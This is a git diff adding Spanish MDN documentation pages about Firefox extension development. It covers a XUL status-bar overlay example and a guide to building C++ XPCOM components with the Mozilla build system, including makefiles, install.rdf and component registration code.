+   <td>La versión más reciente de la aplicación destino sobre la cual se conoce que funciona la extensión.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Para más información sobre el formado del manifiesto de instalación, lee la sección <a href="es/Manifiestos_de_instalaci%c3%b3n">Manifiestos de instalación</a>.</p>
+
+<h2 id="El_manifiesto_chrome" name="El_manifiesto_chrome">El manifiesto chrome</h2>
+
+<p>El manifiesto chrome es un fichero que le dice a la aplicación destino dónde buscar el paquete chrome de tu extensión. El <a href="es/Chrome">chrome</a> es un conjunto de elementos de interfaz de usuario externos al área de contenidos de la ventana de la aplicación, tales como barras de herramientas, de estado, de menú, etc...</p>
+
+<p>El fichero de manifiesto chrome, chrome.manifest, es para el ejemplo este:</p>
+
+<pre class="eval"> content status-bar-sample-1 chrome/content/
+
+ # Firefox
+ overlay	<span class="nowiki">chrome://browser/content/browser.xul</span> <span class="nowiki">chrome://status-bar-sample-1/content/status-bar-sample-1.xul</span>
+</pre>
+
+<p>La primera línea indica la ubicación en disco de los contenidos de la extensión cuyo ID es "status-bar-sample-1". Dicha ruta es relativa al directorio raíz de la extensión en este caso aunque puede ser absoluta si así se quiere.</p>
+
+<p>La segunda línea indica un overlay. Un overlay permite añadir nuevo contenido a un documento existente. En este caso queremos ampliar la interfaz del navegador Firefox, por lo que necesitamos especificar el URI del fichero XUL de la ventana principal de Firefox, "<a class="external" rel="freelink">chrome://browser/content/browser.xul</a>" como interfaz que servirá de base y el URI de nuestro propio fichero XUL "<a class="external" rel="freelink">chrome://status-bar-sample-1/content...r-sample-1.xul</a>" como interfaz que se mezclará en el navegador.</p>
+
+<p>Véase <a href="es/XUL_Overlays">XUL Overlays</a> para más detalles sobre cómo funcionan los overlays. Además puedes encontrar más detalles sobre el formato de los manifiestos chrome en la sección <a href="es/Manifiestos_Chrome">Manifiestos Chrome</a>.</p>
+
+<h2 id="El_overlay_XUL" name="El_overlay_XUL">El overlay XUL</h2>
+
+<p>El fichero overlay XUL contiene la descripción XUL de la interfaz de usuario que queremos añadir a Firefox. Nuestro fichero overlay status-bar-sample-1.xul tendrá este aspecto:</p>
+
+<pre class="eval"> &lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+ &lt;!DOCTYPE overlay &gt;
+ &lt;overlay id="status-bar-sample-1-overlay"
+          xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+ &lt;!-- Firefox --&gt;
+ &lt;statusbar id="status-bar"&gt;
+   &lt;statusbarpanel id="status-bar-sample-1"
+     label="Hello World"
+     tooltiptext="Sample status bar item"
+   /&gt;
+ &lt;/statusbar&gt;
+
+ &lt;/overlay&gt;
+</pre>
+
+<p>Lo primero a tratar en el fichero status-bar-sample-1.xul es establecer que este es de hecho un fichero XUL para configurar después un único ID para el overlay. Esto es llevado a cabo por la siguiente línea de XML:</p>
+
+<pre class="eval">&lt;overlay id="status-bar-sample-1-overlay"
+  xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+</pre>
+
+<p>Una vez hecho esto, podemos describir nuestra interfaz de usuario. En este caso, simplemente insertaremos un nuevo panel en la barra de estado situada en la parte inferior de las ventanas del navegador Firefox. Haremos esto incrustando dentro de statusbar llamado "status-bar" (el cual es la barra de estado de la ventana del navegador Firefox) un nuevo objeto statusbarpanel al que llamaremos "status-bar-sample-1".</p>
+
+<p>Incluiremos propiedades para configurar nuestro nuevo panel de barra de estado de la forma que queramos, configurando su etiqueta de texto a "Hello World" y estableciendo un título emergente con el mensaje "Sample status bar item" en él.</p>
+
+<h2 id="Ponerlo_a_prueba" name="Ponerlo_a_prueba">Ponerlo a prueba</h2>
+
+<p>Para probar tu extensión, copia el directorio en el directorio de extensiones en tu <a class="external" href="http://kb.mozillazine.org/Profile_folder">directorio hogar</a>. Luego reinicia Firefox. Al volver deberías de ver la extensión en la barra de estado.</p>
+
+<p><img alt="Image:status bar sample 1.png"></p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Crear_una_extensión_dinámica_en_la_barra_de_estado">Siguiente  »</a></p>
+</div><p></p>
diff --git a/files/es/crear_una_extensión_personalizada_de_firefox_con_el_mozilla_build_system/index.html b/files/es/crear_una_extensión_personalizada_de_firefox_con_el_mozilla_build_system/index.html
new file mode 100644
index 0000000000..865956ce0f
--- /dev/null
+++ b/files/es/crear_una_extensión_personalizada_de_firefox_con_el_mozilla_build_system/index.html
@@ -0,0 +1,580 @@
+---
+title: Crear una extensión personalizada de Firefox con el Mozilla Build System
+slug: Crear_una_extensión_personalizada_de_Firefox_con_el_Mozilla_Build_System
+tags:
+  - Complementos
+  - Documentación_de_compilado
+  - Todas_las_Categorías
+  - XPCOM
+  - extensiones
+---
+<p> </p>
+
+<div class="note"><strong>Nota:</strong> Todas las instrucciones de este artículo sólo son aplicables a la rama 1.8 de Mozilla (p.e. Firefox 1.5). Intentaré mantener actualizada la versión estable aunque de hecho no deberías asumir que esto funcionará con la rama 1.5 (p.e, Firefox 1.0) o anteriores.</div>
+
+<p>Existe una <a href="/es/Extensiones" title="es/Extensiones">infinidad de documentación</a> sobre la creación de extensiones para Firefox. Sin embargo, actualmente todos esos documentos asumen que estás desarrollando tu extensión utilizando únicamente <a href="/es/XUL" title="es/XUL">XUL</a> y <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a>. Para las extensiones complejas puede ser necesario crear componentes en C++ que proporcionen funcionalidades adicionales. Las razones por las que podrías querer agregar componentes C++ en tu extensión incluyen:</p>
+
+<ul>
+ <li>La necesidad de un alto rendimiento más allá de lo que te ofrece el código JavaScript.</li>
+ <li>El uso de bibliotecas de terceras partes escritas en C o en C++.</li>
+ <li>El uso de interfaces de Mozilla que no están disponibles vía <a href="/es/XPCOM" title="es/XPCOM">XPCOM</a> (p.e, <a href="/es/NSPR" title="es/NSPR">NSPR</a>).</li>
+</ul>
+
+<p>Este artículo describe cómo configurar el entorno de desarrollo para una extensión de Firefox grande y compleja utilizando parcial o totalmente los requerimientos ya mencionados. El proceso de reunir esta información ha sido de algún modo un calvario debido a la falta de información publicada sobre este tema, aunque varios miembros de la comunidad de desarrolladores de Mozilla han colaborado en su creación. Ellos han mostrado una paciencia extraordinaria respondiendo preguntas típicas de novatos ignorantes. Me quedo corto si digo que estoy lejos de ser un experto de Mozilla, aunque voy mejorando. Puede que muchas partes de este documento sean imprecisas, confusas o simplemente incorrectas. De hecho, una de mis metas al escribir esto es afinar dichas instrucciones hasta que constituyan una guía definitiva para los hackers del núcleo que quieran ampliar la plataforma Firefox. Si tú eres uno de los muchos que saben más que yo sobre esto, tu ayuda mejorando este artículo será gratamente recibida.</p>
+
+<p>También debería enfatizar que <em>no</em> tienes por qué compilar Mozilla o utilizar el sistema de compilación de Mozilla si quieres crear componentes C++ para Mozilla. Si sólo buscas crear un componente <a href="/es/XPCOM" title="es/XPCOM">XPCOM</a> o dos, este artículo será algo excesivo y puede que te interese mirar <a class="external" href="http://www.iosart.com/firefox/xpcom/">esta guía</a> en su lugar. Por otra parte, si tienes experiencia desarrollando o dirigiendo un equipo y sabes que tienes que desarrollar una extensión grande y compleja, probablemente hagas bien en considerar la aproximación descrita en este artículo.</p>
+
+<p>Una última nota: sólo he probado dichas técnicas dentro de Firefox aunque probablemente funcionarán más o menos bien en otras plataformas basadas en Gecko como Thunderbird o SeaMonkey. Si alguien puede confirmar esto y/o suministrar guías de estilo para aquello en lo que difiere actualizaré el artículo para incorporar esta información.</p>
+
+<h3 id="Y_Bambi_y_Mozilla_se_encontraron..." name="Y_Bambi_y_Mozilla_se_encontraron...">Y Bambi y Mozilla se encontraron...</h3>
+
+<p>Nada en este artículo es para cobardes. En particular el primer paso conlleva la compilación de Mozilla, lo cual es un gran... no, un inmenso proyecto. Muchos desarrolladores inteligentes han sido llevados al borde de la locura intentando compilarlo por  primera vez. Si no tienes experiencia desarrollando C++ no deberías ni preocuparte. Sigue con JavaScript.</p>
+
+<h4 id="Plataformas_Windows" name="Plataformas_Windows">Plataformas Windows</h4>
+
+<p>La primera vez que compilé Mozilla utilicé <a href="/es/Prerrequisitos_de_compilaci%C3%B3n_en_Windows" title="es/Prerrequisitos_de_compilación_en_Windows">esta guía</a>. Ni siquiera puedo recordar por qué, pero me quedé pillado unas cuantas veces, aunque la odisea llevó más tiempo de lo que me había imaginado al principio. Me cargué los muebles y me arranqué el pelo. Aquí tienes una <a class="external" href="http://whereswalden.com/mozilla/msvcfree/">guía comprensiva rápida</a>, bien redactada. Sigue cada paso metódicamente y probablemente todo irá bien. Céntrate en el hecho de que una vez hayas completado la compilación, posiblemente el resto del trabajo no conllevará esfuerzo alguno. Posiblemente.</p>
+
+<h4 id="Otras_plataformas" name="Otras_plataformas">Otras plataformas</h4>
+
+<p>En otras plataformas, léase Linux y MacOS, el proceso es mucho más sencillo. Todas las herramientas para compilar están disponibles de forma integrada y por tanto todo lo que tienes que hacer es ejecutar algunas órdenes en el terminal. Puedes encontrar las instrucciones completas para casi cualquier SO <a href="/es/Documentaci%C3%B3n_de_compilaci%C3%B3n" title="es/Documentación_de_compilación">aquí</a>.</p>
+
+<h3 id="Estructurar_tu_proyecto" name="Estructurar_tu_proyecto">Estructurar tu proyecto</h3>
+
+<p>Mozilla incorpora un número de extensiones complejas que son integradas en su proceso de compilación. Es así que ha sido necesario resolver todos los problemas inherentes a la creación y registro de componentes XPCOM, a la compilación de ficheros JAR y los manifiestos; instalando el montón en el directorio <code>extensions</code> de Firefox y así sucesivamente. Así pues, lo mejor para nosotros es aprovecharnos de esta infraestructura para construir nuestra extensión.</p>
+
+<p>Antes que nada, elige un nombre con gancho para tu extensión y crea un directorio con ese nombre bajo el directorio <code>/mozilla/extensions/</code>. Utiliza sólo minísculas. Deberías ver un montón de otros directorios (<code>inspector/</code>, <code>reporter/</code>, etc...) al mismo nivel del árbol de directorios.</p>
+
+<p>Date cuenta  que antes de realmente construir nada, el sistema de desarrollo de Mozilla llama a un proceso que genera los makefiles usados por la compilación a partir de plantillas de makefiles llamadas <code>Makefile.in</code>. Los makefiles reales tienden a ser muy parecidos si no idénticos a las plantillas, pero la flexibilidad extra adquirida al obtener los makefiles generados dinámicamente es una de las cosas que hacen al sistema de compilación tan potente.</p>
+
+<h4 id="Anatom.C3.ADa_de_una_simple_extensi.C3.B3n_en_C.2B.2B" name="Anatom.C3.ADa_de_una_simple_extensi.C3.B3n_en_C.2B.2B">Anatomía de una simple extensión en C++</h4>
+
+<p>Asumiremos que estamos usando C++ para escribir componentes XPCOM que pueden ser usados tanto desde otros componentes C++ o desde JavaScript. El proceso de crear un componente es, en realidad, algo relativamente simple cuando se utiliza Mozilla Build System.</p>
+
+<p>El caso más simple ocurre cuando un componente va a consistir en un único directorio principal con dos subdirectorios, <code>public/</code> y <code>src/</code>. El directorio principal y cada subdirectorio deben contener un <code>Makefile.in</code> (a partir de ahora me referiré a este fichero como un makefile aunque, como sabemos, en la práctica es usado para generar los makefiles reales). Este makefile dice dos cosas: lo primero: lista los subdirectorios que componen la extensión por lo que el sistema de compilación conoce dónde buscar los makefiles adicionales. Después dà las instrucciones para compilar el sistema que crea una nueva extensión, en lugar de copiar los componentes directamente en el directorio de binarios de Firefox. La principal ventaja de utilizar una extensión es que es fácil empaquetarlo todo e instalarlo en otra máquina.</p>
+
+<p>Así pues, aquí tienes el makefile principal más básico y simplón que te puedas encontrar (<code>Makefile.in</code> en el directorio principal de la extensión):</p>
+
+<pre>DEPTH		= ../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+MODULE = myextension
+
+DIRS		= public src
+
+XPI_NAME		= myextension
+INSTALL_EXTENSION_ID	= myextension@mycompany.com
+XPI_PKGNAME		= myextension
+
+DIST_FILES = install.rdf
+
+include $(topsrcdir)/config/rules.mk
+</pre>
+
+<p>La descripción detallada del proceso de creación, describiendo las opciones clave de este makefile pueden ser encontradas <a href="/es/C%C3%B3mo_funciona_el_sistema_de_compilaci%C3%B3n_de_Mozilla" title="es/Cómo_funciona_el_sistema_de_compilación_de_Mozilla">aquí</a>. Tanto <strong>MODULE</strong> como <strong>XPI_NAME</strong> están asignados al nombre de tu extensión; deben aparecer repetidos en todos los makefiles del proyecto para que todos los ficheros acaben en el mismo lugar en el área de pruebas del XPI (ver más adelante). <strong>INSTALL_EXTENSION_ID</strong> es el ID único de tu extensión. Puede ser un GUID aunque el formato mostrado antes es más bonito y, asumámoslo, mucho más fácil de recordar. No tienes porqué proporcionar un <strong>XPI_PKGNAME</strong> aunque si creas un fichero XPI susceptible de ser distribuido, será creado automáticamente en el directorio raíz del área de pruebas del XPI (<code>/mozilla/$(MOZ_OBJDIR)/dist/xpi-stage/</code>).</p>
+
+<p>Toda extensión debe incluir un fichero <code>install.rdf</code> que le diga a Firefox cómo instalarla. Este fichero debería estar ubicado en el directorio principal de la extensión y tener este aspecto:</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;myextension@mycompany.com&lt;/em:id&gt;
+    &lt;em:version&gt;0.1&lt;/em:version&gt;
+
+    &lt;em:targetApplication&gt;
+      &lt;!-- Firefox --&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+        &lt;em:minVersion&gt;1.0+&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;1.0+&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- front-end metadata --&gt;
+    &lt;em:name&gt;My First Extension&lt;/em:name&gt;
+    &lt;em:description&gt;Just an example.&lt;/em:description&gt;
+    &lt;em:creator&gt;allpeers.com&lt;/em:creator&gt;
+    &lt;em:homepageURL&gt;http://www.allpeers.com/blog/&lt;/em:homepageURL&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+
+<p>Existe una <a href="/es/Manifiestos_de_instalaci%C3%B3n" title="es/Manifiestos_de_instalación">descripción detallada</a> del formato del fichero <code>install.rdf</code>. Utiliza la variable <strong>DIST_FILES</strong> del makefile para decirle a <code>make</code> que copie el fichero en el directorio de la extensión y (opcionalmente) el fichero XPI.</p>
+
+<h4 id="Interfaces_p.C3.BAblicas" name="Interfaces_p.C3.BAblicas">Interfaces públicas</h4>
+
+<p>El directorio <code>public/</code> contiene todas las interfaces necesarias para que otros módulos puedan utilizarlas. Éstas pueden ser ficheros <a class="external" href="http://www.mozilla.org/scriptable/xpidl/idl-authors-guide/index.html">IDL</a> que describan interfaces <a href="/es/XPCOM" title="es/XPCOM">XPCOM</a>, los cuales son utilizados para generar ficheros de cabecera normales de C++ para incluirlos en los ficheros fuente. También pueden ser ficheros de cabecera normales de C++ que son utilizados directamente por otros módulos. La forma más fácil de hacer esto último es usar implementaciones en línea para todos los métodos, por lo que no tendrás ninguna dependencia de enlazado adicional. En otro caso tendrás que utilizar enlazado estático en tu módulo si utilizas estas cabeceras públicas en otros módulos. Personalmente desaconsejo esta práctica (entre otras cosas porque el enlazado estático significa que el mismo código se carga más de una vez en memoria y el código no estará disponible desde JavaScript u otros lenguajes diferentes a C++) y animo a usar XPCOM siempre que sea posible.</p>
+
+<p>El makefile en el directorio <code>public/</code> debería parecerse a este modelo:</p>
+
+<pre>DEPTH		= ../../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+MODULE		= myextension
+XPIDL_MODULE	= myextension
+
+XPI_NAME = myextension
+
+EXPORTS = \
+		myHeader.h \
+		$(NULL)
+
+XPIDLSRCS	= \
+		myIFirstComponent.idl \
+		myISecondComponent.idl \
+		$(NULL)
+
+include $(topsrcdir)/config/rules.mk
+</pre>
+
+<p><strong>XPIDL_MODULE</strong> es el nombre del fichero XPT generado que contiene información de tipos sobre tus interfaces <a class="external" href="http://www.mozilla.org/scriptable/xpidl/idl-authors-guide/index.html">IDL</a>. Si tienes múltiples módulos, asegúrate de que utilizas un valor diferente de <strong>XPIDL_MODULE</strong> para cada uno. En caso contrario, el fichero XPT del primer módulo será sobrescrito por el segundo y obtendrás errores del tipo <strong>NS_ERROR_XPC_BAD_IID</strong> cuando intentes acceder a sus interfaces IDL desde el código. Los ficheros bajo <strong>EXPORTS</strong> son copiados directamente al directorio <code>/mozilla/$(MOZ_OBJDIR)/dist/include/myextension/</code> siendo así accesibles desde otros módulos (el valor de <strong>MOZ_OBJDIR</strong> se define en <code>/mozilla/.mozconfig</code>). XPIDLSRCS es ejecutado a través del procesador IDL y las cabeceras generadas de C++ son copiadas en el mismo directorio include. Además, se genera un fichero XPT (biblioteca de tipos) que se copia en el subdirectorio <code>components/</code> de tu extensión.</p>
+
+<h4 id="Ficheros_fuente" name="Ficheros_fuente">Ficheros fuente</h4>
+
+<p>Ahora es cuando hay que crear el makefile y los ficheros-fuente en el subdirectorio <code>src/</code>. Si estás implementando interfaces y las estás describiendo con IDL, la forma más fácil de hacer esto es dejando vacío el directorio <code>src/</code> y ejecutando <code>make</code> sólo en el directorio <code>public/</code>. Esto serà explicado en breve.</p>
+
+<p>Luego abre el fichero de cabecera generado para tu interfaz en <code>/mozilla/$(MOZ_OBJDIR)/dist/include/myextension/</code>. Este fichero tendrá algunas plantillas para los ficheros de componentes .H y .CPP que puedes copiar y pegar en tus ficheros de implementación. Todo lo que tienes que hacer es rellenar los huecos del fichero C++ con la implementación real y estarás listo para continuar.</p>
+
+<p>A continuación se muestra un ejemplo del makefile que necesitas colocar en tu directorio <code>src</code>.</p>
+
+<pre class="eval">DEPTH		= ../../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+IS_COMPONENT = 1
+MODULE = myextension
+LIBRARY_NAME =  myExtension
+
+XPI_NAME = myextension
+
+REQUIRES	= xpcom \
+		  string \
+		  $(NULL)
+
+CPPSRCS		= \
+		  myFirstComponent.cpp \
+		  mySecondComponent.cpp \
+		  myExtension.cpp \
+		  $(NULL)
+
+include $(topsrcdir)/config/rules.mk
+
+EXTRA_DSO_LDOPTS += \
+  $(XPCOM_GLUE_LDOPTS) \
+  $(NSPR_LIBS) \
+  $(NULL)
+
+# <span class="highlightred">NOTA: si estás codificando contra la versión 1.8.0 branch (no 1.8 branch o trunk),</span>
+# <span class="highlightred">la línea anterior no funcionará debido a problemas de modificadores del enlazador.</span>
+# En su lugar utiliza las siguientes variables:
+#
+# EXTRA_DSO_LDOPTS += \
+#   $(MOZ_COMPONENT_LIBS) \
+#   $(NULL)
+#
+# Por desgracia, usando MOZ_COMPONENT_LIBS se enlaza contra xpcom_core, lo que
+# significa que tus componentes no funcionarán en futuras versiones de Firefox.
+</pre>
+
+<p>La sección <code>REQUIRES</code> le dice a <code>make</code> qué módulos utilizan tus componentes. Esto provoca que los subdirectorios relevantes de <code>/mozilla/$(MOZ_OBJDIR)/dist/include/</code> sean añadidos a la ruta include del compilador de C++. Si estás incluyendo las cabeceras de Mozilla y el compilador es incapaz de encontrarlas, podría ser que no hayas listado todos los módulos necesarios aquí. <code>CPPSRCS</code> enumera los ficheros fuente que necesitan ser compilados.</p>
+
+<p>En este ejemplo, los dos primeros ficheros contienen la implementación de los dos componentes de la extensión. El fichero final <code>myExtension.cpp</code> contiene el código necesario para registrar dichos componentes, como se describirá en la siguiente sección.</p>
+
+<h4 id="Registrar_tus_componentes" name="Registrar_tus_componentes">Registrar tus componentes</h4>
+
+<p>Para poder usar tus componentes desde otros módulos de C++ y JavaScript primero tienes que registrarlos. Para hacerlo, tu extensión necesita implementar una clase que exponga la interfaz <code><a href="/es/NsIModule" title="es/NsIModule">nsIModule</a></code> la cual posee métodos para acceder a los componentes definidos en un módulo. Afortunadamente, esto puede ser llevado a cabo mediante el uso de unas pocas y simples macros por lo que no tienes que embarrarte con los detalles de qué está pasando internamente.</p>
+
+<p>El primer paso es definir un CID, un contract ID (o ID de contrato) y un nombre de clase para cada uno de tus componentes. Pega el siguiente código (adaptando los <strong>#defines</strong> según convenga) en la cabecera de cada componente que tenga que ser instanciado utilizando el administrador de componentes:</p>
+
+<pre>// {00000000-0000-0000-0000-000000000000}
+#define MYFIRSTCOMPONENT_CID \
+	{ 0x00000000, 0x0000, 0x0000, \
+	{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } }
+
+#define MYFIRSTCOMPONENT_CONTRACTID	"@mycompany.com/myfirst;1"
+#define MYFIRSTCOMPONENT_CLASSNAME	"My First Component"
+</pre>
+
+<p>Obviamente necesitas completar el CID con un GUID real. Bajo Windows puede ser generado utilizando <a class="external" href="http://www.microsoft.com/downloads/details.aspx?familyid=94551F58-484F-4A8C-BB39-ADB270833AFC">guidgen.exe</a>. Los Unixeros pueden utilizar uuidgen (viene de modo predeterminado en la mayoría de distribuciones de Unix y Linux).</p>
+
+<p>Ahora crea el fichero <code>myExtension.cpp</code> así:</p>
+
+<pre>#include "nsXPCOM.h"
+
+#include "nsIGenericFactory.h"
+
+/**
+ * Components to be registered
+ */
+#include "myFirstComponent.h"
+#include "mySecondComponent.h"
+
+NS_GENERIC_FACTORY_CONSTRUCTOR(myFirstComponent)
+NS_GENERIC_FACTORY_CONSTRUCTOR(mySecondComponent)
+
+//----------------------------------------------------------
+
+static const nsModuleComponentInfo components[] =
+{
+	{
+		MYFIRSTCOMPONENT_CLASSNAME,
+		MYFIRSTCOMPONENT_CID,
+		MYFIRSTCOMPONENT_CONTRACTID,
+		myFirstComponentConstructor
+	},
+	{
+		MYSECONDCOMPONENT_CLASSNAME,
+		MYSECONDCOMPONENT_CID,
+		MYSECONDCOMPONENT_CONTRACTID,
+		mySecondComponentConstructor
+	},
+};
+
+NS_IMPL_NSGETMODULE(MyExtension, components)
+</pre>
+
+<p>La macro <strong>NS_IMPL_NSGETMODULE</strong> crea el objeto de módulo apropiado suministrando acceso a todos los componentes listados en el array <code><a href="/es/NsModuleComponentInfo" title="es/NsModuleComponentInfo">nsModuleComponentInfo</a></code>.</p>
+
+<h4 id="Compilaci.C3.B3n" name="Compilaci.C3.B3n">Compilación</h4>
+
+<p>Como se dijo antes, probablemente querrás compilar tu extensión inmediatamente tras crear tus ficheros IDL para poder generar las plantillas C++ para las implementaciones del componente. Estoy asumiendo que ya has podido compilar Firefox sin problemas. Si no es así, vuelve inmediatamente al inicio de este artículo y no regreses hasta que hayas generado un <code>firefox.exe</code> funcional. <span class="comment">Creo que es una casilla del monopoly: Do not pass go. Do not collect $200.</span></p>
+
+<p>¿Sigues ahí? Bien, ahora vamos a modificar tu <code>.mozconfig</code> (en el directorio raíz <code>/mozilla/</code> para que tu extensión se compile junto con Mozilla. Añade la siguiente línea al final del fichero:</p>
+
+<pre>ac_add_options --enable-extensions=default,myextension
+</pre>
+
+<p>Ahora ejecuta <code>make</code> en el directorio raíz de Mozilla:</p>
+
+<pre>make -f client.mk build
+</pre>
+
+<p>Incluso aunque hayas compilado una versión actualizada de Firefox, tendrás que esperar un momento para que <code>make</code> pueda recorrer el árbol de Mozilla por completo buscando nuevo material (en mi máquina, que es bastante rápida, esto tarda unos 10-15 minutos). Finalmente alcanzará tu extensión y generará un montón de material bajo el directorio <code>/mozilla/$(MOZ_OBJDIR)/</code>:</p>
+
+<ul>
+ <li>Varios ficheros de cabecera exportados y ficheros de cabecera generados (desde IDL) en <code>dist/include/myextension/</code></li>
+ <li>Bibliotecas estáticas para tus módulos en <code>dist/lib/</code> (en el caso de que otros módulos quieran enlazar estáticamente a tu material en lugar de utilizar XPCOM).</li>
+ <li>Un fichero XPI en <code>dist/xpi-stage/myextensión.xpi</code>.</li>
+ <li>Los makefiles generados para tus proyectos en <code>extensions/myextension/</code> (recuerda que estamos bajo el directorio <code>/mozilla/$(MOZ_OBJDIR)/</code>.</li>
+ <li>Todo lo demás en <code>dist/bin/extensions/<a class="link-mailto" href="mailto:myextension@mycompany.com" rel="freelink">myextension@mycompany.com</a>/</code>.</li>
+</ul>
+
+<p>Gran parte de este material no será creado en la primera pasada ya que <code>make</code> se impacientará cuando no encuentre los ficheros fuente para tus componentes. No te preocupes por eso, todo lo que necesitas son los ficheros de cabecera generados que contengan las plantillas de implementación en C++. Vuelve atrás y rellena la implementación en C++ de tus componentes para que puedan ser compilados la siguiente vez. Recuerda que no deberías modificar jamás, nunca, ningún fichero generado. Modifica siempre los ficheros utilizados para generarlos y vuelve a ejecutar <code>make</code>. Quizá haya excepciones a esta regla, pero si estás cambiando los ficheros generados directamente muy probablemente estás metiendo la pata.</p>
+
+<p>El proceso de recorrer el árbol completo de Mozilla lleva bastante tiempo. Si ya has compilado Mozilla puedes evitar esto creando un makefile para tu extensión directamente. Ve al directorio raíz de tu $(MOZ_OBJDIR) y (desde un shell compatible con bash) introduce:</p>
+
+<pre class="eval">../build/autoconf/make-makefile extensions/myextension
+</pre>
+
+<p>Si tu $(MOZ_OBJDIR) está ubicado fuera de tu $(TOPSRCDIR), necesitarás hacer:</p>
+
+<pre class="eval">$(TOPSRCDIR)/build/autoconf/make-makefile -t $(TOPSRCDIR) extensions/myextension
+</pre>
+
+<p>para que el script sepa dónde están tus fuentes (usará la ruta de la extensión que des relativa al directorio actual para resolver dónde quieres que vayan tus makefiles).</p>
+
+<p>Esto generará el makefile apropiado para tu extensión. Tanto si quieres compilar el árbol completo de Mozilla como si tomas este atajo, puedes compilar de ahora en adelante yendo a <code>/mozilla/$(MOZ_OBJDIR)/extensions/myextension/</code> y escribiendo "make" en la línea de órdenes. Esto debería compilar tu componente sin distraerse con el resto de Mozilla. Si todo va bien, verás tu fichero XPI en el área de pruebas de XPI. También verás la versión descomprimida (es decir, la estructura de directorios descomprimida) bajo <code>/mozilla/$(MOZ_OBJDIR)/dist/bin/extensions</code> (si algo va mal, averigua qué es, corrígelo y luego vuelve aquí y añádelo a este artículo).</p>
+
+<p>Para asegurarte de que la compilación ha finalizado realmente, lanza Firefox y comprueba que tu extensión aparece en la lista cuando selecciones Herramientas / Complementos. Si estás usando Firefox como tu navegador habitual (y si no, ¿por qué no?), puede que te moleste el hecho que de que tendrás que cerrar tu Firefox normal antes de ejecutar tu versión personalizada. Si es así, prueba a establecer la variable de entorno <strong>MOZ_NO_REMOTE</strong> a "1" antes de ejecutar la versión de desarrollo de Firefox. También necesitarás usar un perfil diferente para tu versión de desarrollo:</p>
+
+<pre class="eval">firefox -P <em>desarrollo</em>
+</pre>
+
+<p>Donde <em>desarrollo</em> se sustituye con el nombre del perfil extra que has creado. Esto te permitirá ejecutar ambas versiones de Firefox simultáneamente, ahorràndote montones de tiempo a lo largo del ciclo de compilación/prueba.</p>
+
+<h4 id="No_hay_nada_como_estar_en_chrome" name="No_hay_nada_como_estar_en_chrome">No hay nada como estar en chrome</h4>
+
+<p>¡Yuhuuuu! Ahora ya tienes una extensión que no hace absolutamente nada. Es hora de hacer algo con esos geniales componentes que implementaste y registraste. La forma más fácil de hacer esto es escribiendo algo de código <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a> y <a href="/es/XUL" title="es/XUL">XUL</a>. En este punto sería de mucha utilidad tener algo de experiencia <a href="/es/Extensiones" title="es/Extensiones">escribiendo extensiones "normales"</a> (p.e., sin utilizar componentes de C++ personalizadas). Si nunca has hecho esto, te recomiendo encarecidamente que pienses una idea guay para algo simple que siempre hayas querido hacer para Firefox y lo escribas. Mostrar sólo un nuevo elemento de menú que abra un cuadro de diálogo "¡Hola mundo!" sería ya un gran ejercicio de precalentamiento.</p>
+
+<p>Suponiendo que sabes cómo escribir extensiones en XUL/JavaScript, estarás al corriente de que la parte más importante va en el directorio <code>chrome/</code> de tu extensión. Bueno, el hecho de que estés utilizando también componentes C++ no cambia eso ni una pizca. Por tanto, ahora necesitas crear los directorios normales <code>content/</code>, <code>locale/</code> y <code>skin/</code> en los que has de poner tus ficheros chrome. Personalmente me gusta ubicar dichos directorios directamente bajo el directorio raíz de mi módulo pero supongo que no habrá diferencia si prefieres ponerlos bajo el subdirectorio <code>chrome/</code> o el que sea. ¡Viva la libertad!</p>
+
+<p>Una vez has escrito los ficheros chrome necesarios (por ejemplo, un overlay que añade un elemento de menú para instanciar y utilizar uno de tus componentes), necesitas empaquetarlo como parte de tu extensión. Esto es llevado a cabo a través del uso de un <a href="/es/Manifiestos_JAR" title="es/Manifiestos_JAR">manifiesto JAR</a>. Para nuestro ejemplo de extensión simple este fichero podría tener este aspecto:</p>
+
+<pre>myextension.jar:
+%  content myextension %content/
+%  locale myextension en-US %locale/en-US/
+%  skin myextension classic/1.0 %skin/classic/
+%  overlay chrome://browser/content/browser.xul chrome://myextension/content/MyExtensionOverlay.xul
+	content/MyExtensionOverlay.js		(content/MyExtensionOverlay.js)
+	content/MyExtensionOverlay.xul		(content/MyExtensionOverlay.xul)
+	locale/en-US/MyExtension.dtd		(locale/en-US/MyExtension.dtd)
+	locale/en-US/MyExtension.properties	(locale/en-US/MyExtension.properties)
+	skin/classic/MyExtension.css		(skin/classic/MyExtension.css)
+</pre>
+
+<p>Pon este código en un fichero llamado <code>jar.mn</code> en el directorio raíz de tu extensión, asegurándote de que las rutas en los paréntesis apuntan a los ficheros reales (relativos al directorio raíz). Además tienes que hacer un pequeño cambio al makefile del mismo directorio, añadiendo la siguiente línea:</p>
+
+<pre class="eval">USE_EXTENSION_MANIFEST = 1
+</pre>
+
